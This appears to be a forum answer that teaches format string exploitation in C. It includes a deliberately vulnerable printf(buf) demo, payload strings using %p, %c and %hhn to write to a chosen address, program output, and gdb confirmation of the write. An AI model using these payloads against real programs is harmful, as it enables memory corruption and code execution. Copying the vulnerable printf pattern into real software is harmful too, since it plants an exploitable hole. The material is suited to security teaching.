You wouldn't exploit the sprintf
to have a format string attack, but the later printf
call.
Exploiting this is rather easy if you can observe the output. Instead of going for exploit directly, you can craft a string with enough %p
or %x
until you see your desired bytes. For example this program works for me:
#include <stdio.h>
void greet(char *s) {
char buf[666];
sprintf(buf, "Hello %s!\n", s);
printf(buf);
}
int main(void) {
greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
"%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}
I compile with gcc -m32
and run, the output is
Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!
Now that we see the 0x04030201
, we can change the final %0#p
to %hhn
to write one byte to the address, or %hn
for a short
, or %n
for int
. This number is the count of characters written so far, converted to char
, short
or int
.
When we know where in stack the address is, we can change each %p
to %c
and we know that it is going to consume exactly one character, giving better control over the resulting number.
We've got some slack with a
s in the beginning - this can be used to change the precision of one of the conversions there to change the number of character written easily as desired (for example if the resulting number is 123 too low, it can be extended by printing one character with 124 character field width: %124c
); the addition of count there can be offset by removing 3 a's from the prompt.
Again this can be verified by using %0#p
:
greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");
and we get:
Hello aaa
���X0x565e46fc�la1%%%%%%%%%%%%0x4030201!
Finally we just replace %0#p
with %hhn
and there be magic.
To demonstrate that it really is writing to the address 0x04030201, you can use gdb
to find out the address that caused the violation:
Program received signal SIGSEGV, Segmentation fault.
0xf7e216aa in vfprintf () from /lib32/libc.so.6
(gdb) p $_siginfo._sifields._sigfault.si_addr
$1 = (void *) 0x4030201
And the rest is left as an exercise to the reader...